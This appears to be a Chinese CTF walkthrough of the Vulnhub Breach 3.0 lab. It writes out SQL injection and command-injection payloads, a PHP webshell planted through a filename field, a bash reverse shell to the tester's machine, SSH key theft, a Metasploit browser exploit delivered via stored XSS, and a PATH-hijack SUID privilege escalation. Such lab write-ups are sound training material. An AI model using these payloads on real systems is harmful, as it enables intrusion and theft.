文章目录


该靶场是关于vulnhub内网的一个集成靶场,其中运用很多的内网渗透的知识点。 靶场提示:
密码1:thelaststraw
密码2:damnitfeel g o o d t o b e a g a n g goodtobeagang goodtobeagangta 靶场中存在虚拟机qemu(两个)
目标:拿下3个flag(分别是:flag1、flag2、flag3)

一、环境搭建:

1、官方下载地址:https://www.vulnhub.com/entry/breach-301,177/

2、将下载的环境解压出来,使用VMware Workstation 导入环境
3、Breach 3.0这个靶场没有设置固定ip地址,所以为了方便练习。
修改网络适配器模式为:nat模式
在这里插入图片描述

二、开始打靶

2.1 信息收集

1.使用netdiscover扫描靶场IP地址【内网中快速扫描】

使用netdiscover扫描靶场IP地址【内网中快速扫描】

netdiscover -i eth0 -r 192.168.3.0/24

在这里插入图片描述

1是物理机,2是网关,139是win11机器,254 是广播地址,确定192.168.3.141是目标靶机地址

netdiscover也有它自身独特的优势,比如针对局域网的扫描比较快速准确,并将结果以列表的形式展现出来。而nmap相对来说比较耗时。

2.探测靶机的端口

nmap扫描相关参数:https://mp.weixin.qq.com/s/i05PW647Y28mtc5VaXCXLQ

nmap -sU 192.168.3.141
-sU 指定发起UDP扫描

在这里插入图片描述

扫描结果可以看到目标开放了:161端口

简单网络管理协议(SNMP) 是专门设计用于在 IP 网络管理网络节点(服务器、工作站、路由器、交换
机及HUBS等)的一种标准协议,它是一种应用层协议。

3.扫描具体的端口信息

snmpwalk工具相关介绍:https://mp.weixin.qq.com/s/D2O42lFC4VCP9h8-HvbufQ

针对snmp协议,kali系统中集成了相关的扫描工具,可直接针对该协议进行详细的网络节点读取 
snmpwalk -Os -c public -v 1 192.168.3.141 
-Os:输出时显示 OID(对象标识符)的简短名称,而不是完整的 OID 路径。
-c public:指定 SNMP 社区字符串为 public,这是默认的只读社区字符串。
-v 1:指定使用 SNMP 版本 1(SNMPv1)。
192.168.3.2:目标设备的 IP 地址,即你要查询的 SNMP 设备。

在这里插入图片描述
STRING: “Email: Milton@breach.local - (545)-232-1876”

扫描结果可以看到,目标使用了“端口隐身”的防御方式,去做端口加密隐藏。

端口施展隐身的详解:https://mp.weixin.qq.com/s/bRZDKk4oHqaEy1a0cA13gw

4.端口敲门

敲门工具 knock 下载:https://github.com/adaywithtape/knocker

下载之后上传工具到kali,赋予运行权限:
chmod +x knocker.sh
运行脚本:
./knocker.sh -i 192.168.3.141 -p 545,232,1876

在这里插入图片描述
敲门成功!

5.nmap扫描端口

nmap 192.168.3.141
#在nmap后面直接跟主机IP(默认扫描1000个端口)

在这里插入图片描述
经过敲门之后扫描出来很多被隐藏的端口,其中就有我们熟悉的SSH服务(22端口)

6.尝试发起SSH连接

ssh 192.168.3.141
在这里插入图片描述
在这里插入图片描述

发起ssh连接时,又发现了熟悉的 “端口隐藏” 操作。

7.再次发起端口敲门

./knocker.sh -i 192.168.3.141 -p 555,423,1800
在这里插入图片描述
再次扫描,看看他隐藏了哪些端口:

nmap -p- 192.168.3.141

在这里插入图片描述

8.在浏览器中访问靶机的 8 端口:【使用旧版火狐浏览器】

http://192.168.3.141:8/

在这里插入图片描述
用户名:milton,
密码使用文章开头的提示:thelaststraw
在这里插入图片描述
点击place
在这里插入图片描述

9.万能密码输入之后,登陆成功

灵魂拷问:拿到一个登录框你该去怎么做渗透测试?
尝试万能密码登陆:
admin
admin' or '1' ='1

万能密码输入之后,登陆成功
在这里插入图片描述

10.点击链接“Initech Home”

在这里插入图片描述
跳转到新的页面
在这里插入图片描述

11.点击 “Employee portal”

在这里插入图片描述

使用kali浏览器的小技巧:点开网站之后,网页加载特别慢,可以按下F12打开开发者模式。将“network”网 络数据包中的ajax的请求包去掉 该请求包是向 google 发送验证请求,因此打开会很慢。可以选择“Block URL” 建议到kali虚拟机的火狐浏览器去操作。
在这里插入图片描述
跳转页面
在这里插入图片描述

12.到聊天室中输入一些参数,尝试提交

遇到输入框条件反射的就应该尝试SQL注入、XSS、CSRF、溢出漏洞(输入长度限制测试)
在这里插入图片描述
随便输入一些字符之后发现。URL网址位置出现 “livechat.php?searcher=Submit” 字样。这个参数有命令执行的漏洞

13.尝试执行相关的RCE命令执行

=ls

在这里插入图片描述

=whoami

在这里插入图片描述

=ls /home

在这里插入图片描述

接下来就是需要信息收集,到处去翻一翻,找一找~~
=ls /home/thebobs

在这里插入图片描述
找到了第一个flag。接下来就是拿到他
在这里插入图片描述
查看flag1文件,啥都看不见 ????

=ls -l /home/thebobs

在这里插入图片描述

可以看到flag1文件只有“600”的权限(只有文件所属的用户才具有可读可写的权限)
通过我们执行"whoami"命令可知,当前的用户并不是thebobs,因此没有办法去查看flag1文件

14.继续寻找突破口,尝试提权

=ls -la /home/thebobs  --查看所有包括隐藏文件

在这里插入图片描述
在这里插入图片描述
可以看到又能找到很多的隐藏的文件,对当前页面查看网页源代码

从返回的结果来看可以看到目标隐藏的文件中存在.ssh的文件,且该文件的权限是"777" 权限相当大,文件很可疑,去瞄一瞄~

=ls -la /home/thebobs/.ssh

在这里插入图片描述

查看隐藏的.ssh文件时,可以看到里面有很多具有很高权限的文件,且存在我们所熟悉的:"id_rsa"和 “id_rsa.pub”
这两个文件是linux系统中的SSH登陆“公私钥”文件

公私钥ssh登陆:https://mp.weixin.qq.com/s/-iIxjXiHWk5MKmr6oFJajA

15.获取私钥,连接公钥

cat /home/thebobs/.ssh/id_rsa

在这里插入图片描述
保存私钥,这一步不能错错了后面ssh连不上
在这里插入图片描述
私钥文件如果需要调用的话,需要将权限改成:600 并且需要将.ssh目录的权限改为:700
SSH公私钥文件的权限问题:https://mp.weixin.qq.com/s/KnFm6Fu5FmUffSbOic2Vkg
在这里插入图片描述

把刚刚新建的id_rsa文件修改权限为:600
chmod 600 id_rsa

在这里插入图片描述

16.将公钥通过命令执行写入到靶机:

#首先查看一下authorized_keys该文件内容
cat /home/thebobs/.ssh/authorized_keys

空白
在这里插入图片描述

#使用cat命令把公钥写进key中:authorized_keys该文件在靶机中是空白的,需要往里面写入key
cat /home/thebobs/.ssh/id_rsa.pub > /home/thebobs/.ssh/authorized_keys

在这里插入图片描述

#检查
cat /home/thebobs/.ssh/authorized_keys

在这里插入图片描述

17.修改公钥的相关权限

chmod 600 /home/thebobs/.ssh/authorized_keys
检查:
ls -la /home/thebobs/.ssh

在这里插入图片描述
修改失败!

分析原因:
id_rsa.pub文件的所属用户和所属组都是thebobs。当前用户的身份是 samir ,使用当前的身份肯定是不能操作thebobs用户所属的文件的,因此修改不成功。

山重水复疑无路,柳暗花明又一村:
sudo -l
#使用sudo -l命令可以收集的信息:
#1、当前用户可以以哪些用户身份执行命令。
#2、可以在哪些主机上执行这些命令。
#3、具体可以执行哪些命令及其路径。

在这里插入图片描述
在这里插入图片描述

用户samir 可以在Initech-DMZ01上面不用密码执行thebobs用户的chmod命令令

修改公钥的相关权限:

sudo -u thebobs chmod 600 /home/thebobs/.ssh/authorized_keys

修改ssh目录的权限:

sudo -u thebobs chmod 700 /home/thebobs/.ssh

检查目录权限:

ls -la /home/thebobs

在这里插入图片描述

18.使用私钥进行登录

ssh -i id_rsa 192.168.3.141 -l thebobs -o PubkeyAcceptedKeyTypes=ssh-rsa
-l 这个选项指定了要以哪个用户身份登录到远程服务器
-o PubkeyAcceptedKeyTypes=ssh-rsa 这个选项用于设置SSH连接的配置参数。因为某些旧的服务器或
特定的安全策略只支持 `ssh-rsa` 类型的公钥。

在这里插入图片描述
连接成功了,如果失败了,就回到id_rsa复制

成功获取shell【看命令提示符是处于python类型的交互式命令行】
进入bin/bash的交互式命令行:import pty;pty.spawn(‘/bin/bash’)
在这里插入图片描述

19.成功获得flag1

在这里插入图片描述
更简单直接 sudo -u thebobs chmod 777 /home/thebobs/flag1 修改权限能直接查看

20.继续信息收集

cd /var/www/html
cd breach3
ls

在这里插入图片描述
cat /var/www/html/breach3/session.php
在这里插入图片描述
在该文件中发现数据库信息,可进去瞄一瞄【渗透测试过程中是需要不断信息收集,得到有用的信息】

mysql -uroot
show databases;
use backups
show tables;
select * from info;

在这里插入图片描述

收集到用户名:blumbergh
密码:Vmxab2QxRXlTbGRqU0VaVlYwaENjVlJVUmt0aU1XeFhXWHBHVjFKVk5YVlZSbEYzVTNkdlBRbz0K

收集到的密码信息很明显是进行了base64加密之后的值,因此可以尝试对其密码进行base64解码的操作。

echo 'Vmxab2QxRXlTbGRqU0VaVlYwaENjVlJVUmt0aU1XeFhXWHBHVjFKVk5YVlZSbEYzVTNkdlBRbz0K' | base64 -d

在这里插入图片描述

echo 'Vmxab2QxRXlTbGRqU0VaVlYwaENjVlJVUmt0aU1XeFhXWHBHVjFKVk5YVlZSbEYzVTNkdlBRbz0K' | base64 -d | base64 -d

在这里插入图片描述

echo 'Vmxab2QxRXlTbGRqU0VaVlYwaENjVlJVUmt0aU1XeFhXWHBHVjFKVk5YVlZSbEYzVTNkdlBRbz0K' | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d

在这里插入图片描述
得到:C0ff33stainS

收集网络信息【根据提示信息可知存在两个虚拟机】
在这里插入图片描述
存在内网 192.168.122.1
收集到内网的的网段的IP地址:192.168.122.1
根据提示信息我们可知内网中存在的虚拟机是使用 qemu 搭建的

查看当前正在运行的进程:
ps -ef | grep qemu

在这里插入图片描述

查看进程模块可知,靶机中确实存在内网,并且运行了两台虚拟机:
-name Initech.local01
-name bill-desktop

扫描内网IP地址

nmap -sn 192.168.122.1/24
或者
for i in $(seq 2 254); 
do 
   ping -c 1 192.168.122.$i -w 1 | 
   grep "bytes from ";
done
#命令注释:
for i in $(seq 2 254); do ... done:
使用 seq 生成从 2 到 254 的数字序列,并逐个赋值给变量 i。对每个 i 执行 do 和 done 之间的命令。
grep "bytes from ":
过滤 ping 命令的输出,仅显示包含 "bytes from " 的行(即成功收到响应的 IP 地址)。

在这里插入图片描述
在这里插入图片描述
得到内网中存活的两台虚拟机的IP地址:
192.168.122.28
192.168.122.65

扫描存活主机的端口

nmap -p- -A 192.168.122.28 192.168.122.65
-p-:扫描所有端口(1 到 65535)。
-A:启用操作系统检测、版本检测、脚本扫描和路由跟踪等高级功能。

在这里插入图片描述

发现192.168.122.65开启的端口信息
22 SSH
80 http(apache)
8800 http(nginx)

21.在当前kali,利用ssh连接执行命令实现端口转发

ssh -i id_rsa 192.168.3.141 -l thebobs -o PubkeyAcceptedKeyTypes=ssh-rsa -L 192.168.3.100:8081:192.168.122.65:80
#在当前kali系统执行命令对目标靶机发起SSH私钥连接,并将目标靶机的80端口的流量转发到10.0.0.20的
8081端口

在这里插入图片描述
访问转发之后的地址,成功访问

192.168.3.100:8081

在这里插入图片描述

22.发现网页中的文件上传点 “PDF Converter”

漏洞产生的:https://mp.weixin.qq.com/s/nU8q5QbZ6IheBIhjcC7luQ
该靶场的漏洞目前是无回显的RCE类型的漏洞。如果验证该漏洞存在的话,可以使用延时函数:sleep

filename="1.pdf|`sleep 10`"

在这里插入图片描述

23.上传任意的pdf文件,使用kali自带的burp抓包,修改参数,利用漏洞

往参数中写入一句话木马:
filename="1.pdf|`echo '<?php system($_GET[0]);?>' >1.php`"
#将一句话木马直接写入到1.php这个文件中去。

在这里插入图片描述

24.访问写入的一句话木马:

http://192.168.3.100:8081/intranet/1.php

在这里插入图片描述
成功解析

利用一句话木马构建php语句:
http://192.168.3.100:8081/intranet/1.php?0=id

此时只能看到www-data的相关用户信息。

25.利用当前的RCE,反弹shell

kali开启nc接收反弹的shell会话:

nc -lvvp 2323
需要执行的反弹语句:
/bin/bash -c 'bash -i >& /dev/tcp/192.168.3.100/2323 0>&1'
执行优化后代码:
/bin/bash -c 'bash -i >%26 /dev/tcp/192.168.3.100/2323 0>%261'
原因:在URL网址中的 & 符号代表参数。因此需要进行转码才能使 & 符生效。
http://192.168.3.100:8081/intranet/1.php?0=/bin/bash -c 'bash -i >%26 /dev/tcp/192.168.3.100/2323 0>%261'

在这里插入图片描述
在这里插入图片描述
确定当前设备的终端:

tty

tty命令是 “Teletype” 的缩写,最初指的是电传打字机,后来演变为计算机终端设备的代称。
在 Linux 系统中, tty 是一个命令,用于显示当前终端设备的名称。通常返回一个设备文件路径,
如 /dev/pts/0
如果输出类似于 /dev/pts/0,表示你是在本地通过图形界面登录。
如果输出类似于 /dev/tty1,表示你是在本地通过虚拟终端登录。
如果输出类似于 /dev/pts/1,表示你可能是通过 SSH 远程登录的。
用于确认当前 Shell 会话连接到哪个终端设备。
帮助用户区分不同的终端会话,尤其是在多用户或远程登录环境中。

在这里插入图片描述

回显结果:not a tty 说明此时shell为非交互式的。
使用python进入交互式shell:
which python
python -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述

26.继续信息收集

ls
cd /home

在这里插入图片描述
进入当前的家目录之后,看到三个用户:peter samir thebobs
在Peter用户中找到了flag2,查看该flag2文件时,权限拒绝

原因:flag2文件的所属用户和组都是Peter,当前没有权限

ls -l

在这里插入图片描述
继续信息收集

cat /home/samir/.notes.txt

在这里插入图片描述
成功找到samir用户的密码:infosecrockstar
暂时不知道有什么用,先放着

27.切换用户到Peter【利用前面给的密码提示】

su peter
密码:damnitfeel$goodtobeagang$ta

在这里插入图片描述

进入交互式命令行:
import pty;pty.spawn('/bin/bash')

在这里插入图片描述
拿到flag2:

cat flag2

flag2的值:what_secrets_is_bill_hiding?

该flag2的值其实也是在对flag3的值进行提示: what secrets is bill hiding (bill隐瞒了什么秘密)
bill这台机器其实是我们前面做信息收集,扫描虚拟机的那台:bill-desktop IP地址为:
192.168.122.28 但是刚刚使用nmap进行扫描的时候,并没有发现bill-desktop这台机器开放任何端口。 那么此时的突破口依然还是在当前这台Peter的虚拟机上面,因此需要继续做信息收集~

信息收集:

查看系统中所有正在监听的 TCP 端口及其相关信息:
netstat -lntp

在这里插入图片描述
产生了8800端口的TCP连接,前面信息收集可知8800端口开启的是nginx的站点。

28.查看nginx的配置文件

nginx的配置文件:/etc/nginx
cd /etc/nginx
cd sites-available
cat default

在这里插入图片描述
在这里插入图片描述
看到nginx的根目录

cd /var/www/html2

在这里插入图片描述

此时有很多的文件,可以一个个文件去进行分析排查,找到可用的信息。
也可以通过查看nginx日志的方式去快速定位有用的文件。

29.通过查看nginx日志文件快速定位有用的文件:

cd /var/log/nginx

在这里插入图片描述

仔细观察可以看到,nginx日志文件中的很多文件都不具备可读的权限,只有两个文件:
access.log.10.gz
error.log.5.gz

将具有的可读的文件copy到/tmp目录中进行操作:
cp access.log.10.gz /tmp
cd /tmp
gunzip access.log.10.gz
cat access.log.10
cat access.log.10 | grep 192.168.122.28

在这里插入图片描述

通过查看Nginx的日志文件可知:
192.168.122.28的主机,每隔一段时间都会访问ticket.php这个文件,访问使用的浏览器是: Firefox/22.0

30.查看ticket.php文件【我倒要看看你是什么东西?】

在这里插入图片描述

cd /var/www/html2/support/
cat ticket.php

在这里插入图片描述
通过查看ticket.php文件代码可知:
当通过mysql查看tickets表时,会返回“名字”、“编号”、“消息”数据

31.通过kali端口转发,来实现访问8800的nginx服务

ssh -i id_rsa 192.168.3.141 -l thebobs -o PubkeyAcceptedKeyTypes=ssh-rsa -L 192.168.3.100:8082:192.168.122.65:8800

在这里插入图片描述
端口转发成功之后,利用浏览器访问

http://192.168.3.100:8082/

在这里插入图片描述
使用低版本的火狐浏览器看看提示

面对该提示“一脸懵逼”,所以还是利用前面收集到的账号密码信息去做尝试。 samir infosecrockstar

成功登录
在这里插入图片描述

又是登陆框,遇到登陆框条件反射就要测试:SQL注入、XSS、CSRF、溢出漏洞(输入长度限制测试)

构建XSS漏洞代码:
<script>alert(1);</script>

在这里插入图片描述
访问ticket.php,可发现存储型XSS漏洞存在

http://192.168.3.100:8082/support/ticket.php

在这里插入图片描述

在这里插入图片描述
注意:验证此漏洞之后,需要把提交的XSS漏洞的表单清除

32.利用kali中的MSF,search搜索关于firefox 20 的漏洞

cd /usr/share/metasploit-framework 
msfconsole
search firefox 20 Remote
use exploit/multi/browser/firefox_tostring_console_injection
options
set srvhost 192.168.3.100
set srvport 8888
set uripath good   #uripath 随便填
run -j

在这里插入图片描述
在这里插入图片描述

调用MSF中的参数之后,会生成一个URL网址,该网址是MSF针对火狐浏览器的一个XSS漏洞的POC,因此该POC语句是需要在XSS漏洞的利用点去加以利用的!

33.XSS漏洞利用

在前面的192.168.3.100:8082页面添加XSS漏洞脚本:

![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/1567230edfbf4338a66ff648be713671.png)

n/direct/d4dc289394734b3cae4737fe745ef591.png)

等待一段时间之后(等服务器自己触发,自己触发没用),MSF中会接受到来自靶机的会话。由于目前会话很容易断开,所以切换到稳定的
shell

use post/multi/manage/shell_to_meterpreter
set lhost 192.168.3.100
set session 1
run
sessions 2
shell
python -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述

此时进入会话之后,可以去查看我们靶机“玄机”!
ls
cat firefox.sh
crontab -l   #列出当前用户的定时任务列表

在这里插入图片描述

34.此时信息收集可以发现 blumbergh 用户

ls /home

在这里插入图片描述

此时可以利用我们之前在数据库中信息收集得到的账号密码信息:

blumbergh
C0ff33stainS

切换blumbergh用户

su blumbergh

在这里插入图片描述
继续信息收集发现,blumbergh用户家目录下存在一个具有SUID权限的文件

find / -perm -u=s -type f 2>/dev/null   //在整个系统中,查找所有设置了「SUID 权限」的普通文件,并忽略所有错误提示

在这里插入图片描述

具有SUID权限的文件,其他用户对该文件去进行操作的时候,会拥有root的权限!我们可以借此机制来进行提权~

使用 strings 命令对该文件进行分析

strings命令的具体讲解:https://mp.weixin.qq.com/s/0wKD4dv1cjzMuM5Jq33IkQ

strings /home/blumbergh/swingline

在这里插入图片描述

两眼一抹黑,看样子是个二进制文件,进一步检查:
file /home/blumbergh/swingline

在这里插入图片描述
在这里插入图片描述

通过结果可以判断该文件是一个可执行的二进制文件。
尝试执行:
./swingline

在这里插入图片描述

35.将该文件拷贝到kali中去逆向分析

scp /home/blumbergh/swingline root@192.168.3.100:/tmp
#scp命令是一种用于在本地主机和远程主机之间安全地复制文件和目录的工具。它是secure copy的缩写,基于SSH(Secure Shell)协议进行数据传输,确保数据在传输过程中的加密和安全。

# 执行上面命令时需要kali开启ssh服务
systemctl start ssh

在这里插入图片描述
在这里插入图片描述
利用gdb反编译该文件(需要安装gdb)
什么是gdb:https://mp.weixin.qq.com/s/OQbao-OtZwlNXuisJzqEGw
安装gdb:

修改源文件:vim /etc/apt/sources.list
加入源:
deb https://http.kali.org/kali kali-rolling main non-free contrib
deb-src https://http.kali.org/kali kali-rolling main non-free contrib


导入证书:
wget -q -O - https://archive.kali.org/archive-key.asc | sudo apt-key add -
或者(上面用不了)
wget -q -O /etc/apt/trusted.gpg.d/kali-archive-keyring.gpg https://archive.kali.org/archive-key.asc


更新软件包:
apt-get update
安装gdb:
apt install gdb
检查gdb:
gdb -version

在这里插入图片描述

36.gdb分析文件

kai中使用命令 gdb swingline 反编译

gdb swingline

在这里插入图片描述

调用main函数进行反编译:disassemble main

在这里插入图片描述

在反编译的过程中发现存在 system 函数。目前并不清楚该函数在此脚本的运行过程中是扮演什么身份,执行什么命令,因此还需要进一步进行调试。

使用 gdb 调试system函数

设置断点调试:
b system
run
x/s $rdi

在这里插入图片描述

断点调试的时候可以看见:
该swingline文件在运行过程中会执行ncat的命令,来创建一个本机可达的shell服务。而且该swingline
文件具备SUID的权限(即:任何用户在运行该文件的时候会拥有root的身份)
该swingline文件调用的ncat命令是一个相对的路径,并没有指定绝对路径的ncat来运行,因此我们可以尝试自己创建一个ncat文件,修改swingline文件调用ncat的环境变量的方式来进行提权。

37.利用SUID提权

cd /tmp
echo '#!/bin/bash' > ncat
echo 'cp /bin/bash /tmp/shell' >> ncat
echo 'chmod +s /tmp/shell' >> ncat
chmod +x ncat
export PATH=/tmp:$PATH
/home/blumbergh/swingline
./shell -p

在这里插入图片描述

成功提权到root

38.获得flag3

目前已经是root的身份了,所以我们可以直接使用find命令去查找flag3文件

find / -name '*flag3*'

在这里插入图片描述

flag3文件的位置: /root/Desktop/ / /flag3.txt
该文件所在的的目录路径是有空格存在的,因此我们查看的命令还需要 \ 转义

cat /root/Desktop/\ /\ /flag3.txt

在这里插入图片描述

结束

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐